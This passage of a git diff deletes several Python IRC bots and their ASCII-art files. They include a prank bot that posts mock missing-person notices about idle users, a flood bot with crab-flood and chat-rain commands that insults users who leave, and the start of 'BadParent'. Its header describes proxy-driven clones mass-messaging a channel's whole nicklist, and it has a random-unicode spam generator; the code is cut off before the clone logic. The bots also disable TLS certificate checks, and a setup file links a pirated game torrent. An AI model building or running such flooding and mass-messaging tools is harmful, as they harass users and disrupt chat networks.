if inCurCell[3] != ' ':
|
||||
if inCurCell[3] == '█':
|
||||
outColours[1] = ColorsNormal[inCurCell[0]]
|
||||
else:
|
||||
outColours[0] = ColorsBold[inCurCell[0]]
|
||||
outColours[1] = ColorsNormal[inCurCell[1]]
|
||||
else:
|
||||
outColours[1] = ColorsNormal[inCurCell[1]]
|
||||
else:
|
||||
if inCurCell[3] != ' ':
|
||||
if inCurCell[3] == '█':
|
||||
outColours[1] = ColorsNormal[inCurCell[0]]
|
||||
else:
|
||||
outColours[0] = ColorsNormal[inCurCell[0]]
|
||||
outColours[1] = ColorsNormal[inCurCell[1]]
|
||||
else:
|
||||
outColours[1] = ColorsNormal[inCurCell[1]]
|
||||
outImgDraw.rectangle((*outCurPos,outCurPos[0] + outImgFontSize[0], outCurPos[1] + outImgFontSize[1]), fill=(*outColours[1], 255))
|
||||
if not inCurCell[3] in ' █' and outColours[0] != outColours[1]:
|
||||
outImgDraw.text(outCurPos,inCurCell[3], (*outColours[0], 255), outImgFont)
|
||||
if inCurCell[2] & 0x04:
|
||||
outColours[0] = ColorsNormal[inCurCell[0]]
|
||||
outImgDraw.line(xy=(outCurPos[0], outCurPos[1] + (outImgFontSize[1] - 2), outCurPos[0] + outImgFontSize[0], outCurPos[1] + (outImgFontSize[1] - 2)), fill=(*outColours[0], 255))
|
||||
outCurPos[0] += outImgFontSize[0]
|
||||
outCurPos[0] = 0
|
||||
outCurPos[1] += outImgFontSize[1]
|
||||
out_file = os.path.join('data','temp.png')
|
||||
if os.path.isfile(out_file):
|
||||
os.remove(out_file)
|
||||
outImg.save(out_file)
|
@ -1,132 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/random)
|
||||
|
||||
import asyncio
|
||||
import random
|
||||
import ssl
|
||||
import textwrap
|
||||
|
||||
def ascii(nick):
|
||||
age = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
|
||||
height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
|
||||
weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO)
|
||||
eyes = random.choice(['BLUE','BROWN','GREEN'])
|
||||
return textwrap.dedent(f'''1,4
|
||||
1,4 1,8^^^^^^1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||
1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||
1,4 1,8<0,2*CFLC*1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||
1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||
1,4 1,8VVVVVV1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||
1,4
|
||||
1,1
|
||||
1,0
|
||||
1,0
|
||||
1,0 1,1 1,0
|
||||
1,0 1,1 1,10 1,1 1,0 12NAME 1: {nick.ljust(16)}
|
||||
1,0 1,1 1,10 5,7,;',;',,5,10 1 1,1 1,0
|
||||
1,0 1,1 1,10 5,7.;'. ( _5,10 1 1,1 1,0 12 AGE 1: {age.ljust(16)}
|
||||
1,0 1,1 1,10 5,7.1@5;;1 0O O 1,10 1,1 1,0
|
||||
1,0 1,1 1,10 5,7.1 5; 1 > 1,10 1,1 1,0 12 HEIGHT1 : {height.ljust(16)}
|
||||
1,0 1,1 1,10 5,7;1 5 ;;;;5,10 1 1,1 1,0
|
||||
1,0 1,1 1,10 1,7 1,1___1,10 1,6\ 1,10 1,1 1,0 12 WEIGHT1 : {weight.ljust(16)}
|
||||
1,0 1,1 1,7 1,10 1,6 1,7 1,10 1,1 1,0
|
||||
1,0 1,1 1,7 1,10 1,7 1,10 1,1 1,0 12EYES 1 : {eyes.ljust(16)}
|
||||
1,0 1,1 1,0
|
||||
1,0
|
||||
1,0 Missing from #superbowl, SuperNETs since 2007
|
||||
1,0
|
||||
1,0 ANY INFORMATION REGARDING THE WHERE-ABOUTS OF
|
||||
1,0 THIS CHATTER SHOULD REPORT IT TO THE OFFICAL
|
||||
1,0 CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.
|
||||
1,0
|
||||
1,0 1-800-5MISSING1 missing@cflc.gov
|
||||
1,0 ''')
|
||||
|
||||
def ssl_ctx():
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
return ctx
|
||||
|
||||
class IRC:
|
||||
def __init__(self):
|
||||
self.options = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
|
||||
self.reader = None
|
||||
self.writer = None
|
||||
self.names = {'found':list(), 'idle':list()}
|
||||
self.scanning = False
|
||||
self.looping = False
|
||||
|
||||
def _event_names(self, names):
|
||||
if self.scanning:
|
||||
for name in names:
|
||||
if name[:1] in '~!@%&+:':
|
||||
name = name[1:]
|
||||
if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
|
||||
self.names['found'].append(name)
|
||||
|
||||
async def _event_end_of_names(self):
|
||||
self.scanning = False
|
||||
for name in self.names['found']:
|
||||
self._raw(f'WHOIS {name} {name}') # Have to double to nick to see far-connected idle times? Weird...
|
||||
await asyncio.sleep(2)
|
||||
if self.names['idle']:
|
||||
target = random.choice(self.names['idle'])
|
||||
for line in ascii(target).split('\n'):
|
||||
self._raw(f'PRIVMSG #superbowl :{line}')
|
||||
self._raw(f'PRIVMSG {target} :{line}')
|
||||
self.names = {'found':list(), 'idle':list()}
|
||||
|
||||
async def _loop(self):
|
||||
while self.looping:
|
||||
if not self.scanning:
|
||||
self.scanning = True
|
||||
self._raw('NAMES #superbowl')
|
||||
await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
|
||||
|
||||
def _raw(self, data):
|
||||
self.writer.write(data[:510].encode('utf-8') + b'\r\n')
|
||||
|
||||
async def _connect(self):
|
||||
try:
|
||||
self.reader, self.writer = await asyncio.open_connection(**self.options)
|
||||
self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
|
||||
self._raw('NICK AMBERALERT')
|
||||
except Exception as ex:
|
||||
print(f'[!] - Failed to connect to IRC server! ({ex!s})')
|
||||
else:
|
||||
while not self.reader.at_eof():
|
||||
line = await self.reader.readline()
|
||||
line = line.decode('utf-8').strip()
|
||||
print('[~] - '+line)
|
||||
args = line.split()
|
||||
if args[0] == 'PING':
|
||||
self._raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001': # RPL_WELCOME
|
||||
self._raw('MODE AMBERALERT +BDd')
|
||||
self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
|
||||
await asyncio.sleep(3)
|
||||
self._raw('JOIN #superbowl')
|
||||
elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
|
||||
chan = args[4]
|
||||
if chan == '#superbowl':
|
||||
names = ' '.join(args[5:])[2:].split()
|
||||
self._event_names(names)
|
||||
elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
|
||||
chan = args[3]
|
||||
if chan == '#superbowl':
|
||||
if self.scanning:
|
||||
asyncio.create_task(self._event_end_of_names())
|
||||
elif not self.looping:
|
||||
self.looping = True
|
||||
asyncio.create_task(self._loop())
|
||||
elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
|
||||
nick = args[3]
|
||||
idle = args[4]
|
||||
if int(idle) >= 604800: # 1W
|
||||
self.names['idle'].append(nick)
|
||||
|
||||
# Start
|
||||
if __name__ == '__main__':
|
||||
Bot = IRC()
|
||||
asyncio.run(Bot._connect())
|
@ -1,269 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
#!/usr/bin/env python
|
||||
# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
import random,socket,ssl,threading,time
|
||||
|
||||
# Config
|
||||
admin_ident = 'acidvegas!*@*'
|
||||
channel = '#anythinggoes'
|
||||
nickserv_password = 'CHANGEME'
|
||||
operator_password = 'CHANGEME'
|
||||
throttle_msg = 0.15
|
||||
|
||||
# Formatting Control Characters / Color Codes
|
||||
bold = '\x02'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
|
||||
def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
|
||||
def get_time():return time.strftime('%I:%M:%S')
|
||||
def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
|
||||
|
||||
class Functions:
|
||||
def banana_bomb():
|
||||
for i in range(random.randint(5,10)):
|
||||
spaces=random.randint(1,120)
|
||||
for line in banana_data:
|
||||
Bot.sendmsg(channel,' '*spaces+line)
|
||||
|
||||
def chat_rain(amount):
|
||||
words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
|
||||
for i in range(amount):
|
||||
Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
|
||||
|
||||
def crab_flood(amount):
|
||||
counter=1
|
||||
notify=random.randint(100,999)
|
||||
if amount>=1000000:
|
||||
amount=1000000
|
||||
Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
|
||||
Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
|
||||
for i in range(amount):
|
||||
spaces=random.randint(1,120)
|
||||
for line in crab_data:
|
||||
Bot.sendmsg(channel,' '*spaces+line)
|
||||
counter+=1
|
||||
if counter==notify:
|
||||
spaces=random.randint(1,120)
|
||||
Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
|
||||
counter=1
|
||||
|
||||
def grave(nick):
|
||||
length=len(nick)
|
||||
Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green)))
|
||||
|
||||
def rain(word,amount):
|
||||
for i in range(amount):
|
||||
Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
|
||||
|
||||
def rope(length):
|
||||
spaces=50
|
||||
prev=None
|
||||
for i in range(length):
|
||||
if random.choice((True,False)):
|
||||
if prev!='╱':spaces+=1
|
||||
char='╲'
|
||||
else:
|
||||
if prev!='╲':spaces-=1
|
||||
char='╱'
|
||||
Bot.sendmsg(channel,' '*spaces+char)
|
||||
prev=char
|
||||
Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
|
||||
|
||||
def wave(msg,lines,spaces,hilite):
|
||||
rainbow=['04','08','09','11','12','13']
|
||||
spacer=15
|
||||
spaces+=spacer
|
||||
toggle=True
|
||||
data=list()
|
||||
for i in range(lines):
|
||||
if hilite:
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
|
||||
Bot.nicks.append(Bot.nicks.pop(0))
|
||||
else:
|
||||
Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
|
||||
rainbow.append(rainbow.pop(0))
|
||||
if toggle:spacer+=1
|
||||
else:spacer-=1
|
||||
if spacer==spaces:toggle=False
|
||||
elif spacer==15:toggle=True
|
||||
|
||||
def worm(length):
|
||||
spacer=random.randint(10,100)
|
||||
Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
for i in range(length):
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
if random.choice((True,False)):spacer += 1
|
||||
else:spacer-=1
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
|
||||
class WormNet(threading.Thread):
|
||||
def __init__(self):
|
||||
self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
Bot.wormnet=True
|
||||
try:
|
||||
self.sock.connect(('wormnet1.team17.com',6667))
|
||||
self.raw('PASS ELSILRACLIHP')
|
||||
self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
|
||||
self.raw('NICK SUPERNETS')
|
||||
while True:
|
||||
data=self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split())>=2):
|
||||
Bot.sendmsg_wormnet('raw',cyan,line)
|
||||
args=line.split()
|
||||
if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
|
||||
elif args[0]=='PING':self.raw('PONG '+args[1][1:])
|
||||
elif args[1]=='001':self.raw('JOIN '+channel)
|
||||
elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):pass
|
||||
except Exception as ex:
|
||||
Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
|
||||
self.sock.close()
|
||||
Bot.wormnet=False
|
||||
Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
|
||||
def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
|
||||
def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self.nicks=list()
|
||||
self.echo=False
|
||||
self.sock=None
|
||||
self.wormnet=False
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
self.sock.connect(('irc.supernets.org',6667))
|
||||
self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
|
||||
self.raw('NICK THEGAME')
|
||||
while True:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
print(data)
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
print(f'{get_time()} | [~] - {line}')
|
||||
args = line.split()
|
||||
if args[0]=='PING':
|
||||
self.raw('PONG '+args[1][1:])
|
||||
elif args[1]=='001':
|
||||
self.raw('MODE THEGAME +BDd')
|
||||
self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
|
||||
self.raw(f'OPER thegame {operator_password}')
|
||||
self.raw('JOIN '+channel)
|
||||
elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
|
||||
elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
|
||||
elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
|
||||
elif args[1]=='PART' and len(args)>=3:
|
||||
self.sendmsg(args[2],color('EMO-PART DETECTED',red))
|
||||
self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
|
||||
elif args[1]=='PRIVMSG' and len(args)>=4:
|
||||
ident=args[0][1:]
|
||||
nick=args[0].split('!')[0][1:]
|
||||
chan=args[2]
|
||||
msg= ' '.join(args[3:])[1:]
|
||||
if chan==channel:self.event_message(ident,nick,chan,msg)
|
||||
elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
|
||||
except(UnicodeDecodeError,UnicodeEncodeError):pass
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
self.sock.close()
|
||||
time.sleep(15)
|
||||
self.connect()
|
||||
|
||||
def event_message(self,ident,nick,chan,msg):
|
||||
args=msg.split()
|
||||
if msg[:1]=='!':
|
||||
if msg=='!bananabomb':Functions.banana_bomb()
|
||||
elif msg=='!crate':
|
||||
for line in crate_data:self.sendmsg(channel,line)
|
||||
elif msg=='!echo':
|
||||
self.echo=False if self.echo else True
|
||||
elif msg=='refresh':
|
||||
self.nicks=list()
|
||||
self.raw('NAMES #anythinggoes')
|
||||
elif msg=='!wormnet':WORMS.start()
|
||||
elif msg=='!worms':
|
||||
for line in worms_data:self.sendmsg(channel, line)
|
||||
elif len(args)==2:
|
||||
if args[1].isdigit():
|
||||
amount=int(args[1])
|
||||
if args[0]=='!chatrain':
|
||||
if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif msg.startswith('!crabflood'):
|
||||
if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
|
||||
else:self.sendmsg(chan,'Max: 10')
|
||||
elif msg.startswith('!rope'):
|
||||
if amount<=100 or ident==admin_ident:Functions.rope(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif msg.startswith('!worm'):
|
||||
if amount<=100 or ident==admin_ident:Functions.worm(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif args[0]=='!rain' and len(args)>=3:
|
||||
amount=args[1]
|
||||
data=' '.join(args[2:])
|
||||
if args[1].isdigit():
|
||||
if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif args[0] in ('!wave','!wavehl') and len(args)>=4:
|
||||
lines =args[1]
|
||||
spaces=args[2]
|
||||
data=' '.join(args[3:])
|
||||
if lines.isdigit() and spaces.isdigit():
|
||||
if int(lines)<=100 or ident==admin_ident:
|
||||
if args[0]=='!wave':
|
||||
Functions.wave(data,int(lines),int(spaces),False)
|
||||
else:
|
||||
Functions.wave(data,int(lines),int(spaces),True)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif self.echo:self.sendmsg(chan,msg)
|
||||
|
||||
def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
|
||||
def sendmsg(self,target,msg):
|
||||
time.sleep(throttle_msg)
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
def sendmsg_wormnet(self,title,title_color,msg,extra=None):
|
||||
if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
|
||||
else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
|
||||
|
||||
# Main
|
||||
banana_data=open('data/banana.txt').readlines()
|
||||
crab_data=open('data/crab.txt').readlines()
|
||||
crate_data=open('data/crate.txt').readlines()
|
||||
worms_data=open('data/worms.txt').readlines()
|
||||
Bot=IRC()
|
||||
WORMS=WormNet()
|
||||
Bot.connect()
|
@ -1,4 +0,0 @@
|
||||
8". ,#
|
||||
8\ `-._____,-'=/
|
||||
8`._ ----- _,'
|
||||
8`-----'
|
@ -1,10 +0,0 @@
|
||||
, ,
|
||||
/(_, ,_)\
|
||||
\ _/ \_ /
|
||||
// \\
|
||||
\\ (@)(@) //
|
||||
\'=\"==\"='/
|
||||
,===/ \===,
|
||||
\",===\ /===,\"
|
||||
\" ,==='------'===, \"
|
||||
\" \"
|
@ -1,11 +0,0 @@
|
||||
7,7
|
||||
7,7 7,2 7,7 7,4 7,7 7,2 7,7
|
||||
5,7 5,2 5,7 7 7,4 7,7 7,4 7,7 7,2 7,7
|
||||
1,7|||5|1,5|1,7|||7,4 1,7|||1,5|7,4 1,7||1,5|1,7|||||
|
||||
1,7|||5|1,5|1,7|||1,5|1,7|||7,4 1,7|||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
|
||||
7,7 7,2 7,7 7,4 7,7 7,2 7,7
|
||||
7,7 7,2 7,7 7,2 7,7
|
||||
7,7
|
@ -1,22 +0,0 @@
|
||||
4,1Worms Armageddon 0
|
||||
0,1
|
||||
0,1[13Installation & Setup0]
|
||||
0,011. Torrent & install Worms Armageddon
|
||||
0,1 14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0
|
||||
0,1
|
||||
0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.
|
||||
0,1 14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0
|
||||
0,1
|
||||
0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.
|
||||
0,1
|
||||
0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
|
||||
0,1
|
||||
0,1[13Useful Resources0]
|
||||
14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0
|
||||
14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0
|
||||
14,1•0 Mod Pack 12https://www.pyrex.pw/files/worms/worms-mods.zip0
|
||||
14,1•0 Worms Wiki 12http://worms2d.info/Worms_Armageddon0
|
||||
0,1 12 0
|
||||
0,1[13Credits0]
|
||||
0,1 14-0 TEAM WORMSEC OK
|
||||
0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
|
@ -1,302 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
# badparent.py
|
||||
|
||||
'''
|
||||
The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
|
||||
The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
|
||||
Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
|
||||
'''
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import os
|
||||
import random
|
||||
import ssl
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
server = 'irc.server.com'
|
||||
port = 6667
|
||||
nickname = 'BIGDADDY'
|
||||
username = 'dad'
|
||||
realname = 'I am horrible...'
|
||||
|
||||
def alert(msg):
|
||||
print(f'{get_time()} | [+] - {msg}')
|
||||
|
||||
def debug(msg):
|
||||
print(f'{get_time()} | [~] - {msg}')
|
||||
|
||||
def error(msg, reason=None):
|
||||
print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
|
||||
|
||||
def error_exit(msg):
|
||||
raise SystemExit(f'{get_time()} | [!] - {msg}')
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
def random_str(size):
|
||||
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
|
||||
|
||||
def unicode():
|
||||
msg = ''
|
||||
for i in range(random.randint(400,450)):
|
||||
msg += chr(random.randint(0x1000, 0x3000))
|
||||
return msg
|
||||
|
||||
|
||||
|
||||
|
||||
class parent(object):
|
||||
def __init__(self):
|
||||
self.nicklist = list()
|
||||
self.sock = None
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.sock = socket.socket()
|
||||
self.sock.connect((server, port))
|
||||
self.raw(f'USER {username} 0 * :{realname}')
|
||||
self.raw('NICK ' + nickname)
|
||||
except socket.error as ex:
|
||||
error('Failed to connect to IRC server.', ex)
|
||||
self.event_disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def event_connect(self):
|
||||
if config.login.nickserv:
|
||||
self.identify(config.ident.nickname, config.login.nickserv)
|
||||
self.join_channel(config.connection.channel, config.connection.key)
|
||||
|
||||
def event_disconnect(self):
|
||||
error('The parent bot has disconected!')
|
||||
self.sock.close()
|
||||
|
||||
def event_end_of_names(self, chan):
|
||||
if self.nicklist:
|
||||
alert(f'Found {len(self.nicklist)} nicks in channel.')
|
||||
threading.Thread(target=load_children).start()
|
||||
else:
|
||||
error('Failed to parse nicklist from channel.')
|
||||
|
||||
def event_join(self, nick, chan):
|
||||
if chan == config.connection.channel:
|
||||
if nick not in self.nicklist:
|
||||
self.nicklist.append(nick)
|
||||
|
||||
def event_kick(self, nick, chan, kicked):
|
||||
if chan == config.connection.channel:
|
||||
if kicked == config.ident.nickname:
|
||||
time.sleep(3)
|
||||
self.join(self.chan, self.key)
|
||||
|
||||
def event_names(self, chan, names):
|
||||
if chan == config.connection.channel:
|
||||
for name in names:
|
||||
if name[:1] in '~!@%&+:':
|
||||
name = name[1:]
|
||||
if name != config.ident.nickname and name not in self.nicklist:
|
||||
self.nicklist.append(name)
|
||||
|
||||
def event_nick(self, nick, new):
|
||||
if nick in self.nicklist:
|
||||
self.nicklist.remove(nick)
|
||||
self.nicklist.append(new)
|
||||
|
||||
def event_nick_in_use(self):
|
||||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||||
|
||||
def event_quit(self, nick):
|
||||
if nick in self.nicklist:
|
||||
self.nicklist.remove(nick)
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
self.event_connect()
|
||||
elif args[1] == '433':
|
||||
self.event_nick_in_use()
|
||||
elif args[1] == '353':
|
||||
chan = args[4]
|
||||
if ' :' in data:
|
||||
names = data.split(' :')[1].split()
|
||||
elif ' *' in data:
|
||||
names = data.split(' *')[1].split()
|
||||
elif ' =' in data:
|
||||
names = data.split(' =')[1].split()
|
||||
else:
|
||||
names = data.split(chan)[1].split()
|
||||
self.event_names(chan, names)
|
||||
elif args[1] == '366':
|
||||
chan = args[3]
|
||||
self.event_end_of_names(chan)
|
||||
elif args[1] == 'JOIN':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
chan = args[2][1:]
|
||||
self.event_join(nick, chan)
|
||||
elif args[1] == 'KICK':
|
||||
chan = args[2]
|
||||
kicked = args[3]
|
||||
self.event_kick(nick, chan, kicked)
|
||||
elif args[1] == 'NICK':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
new = args[2][1:]
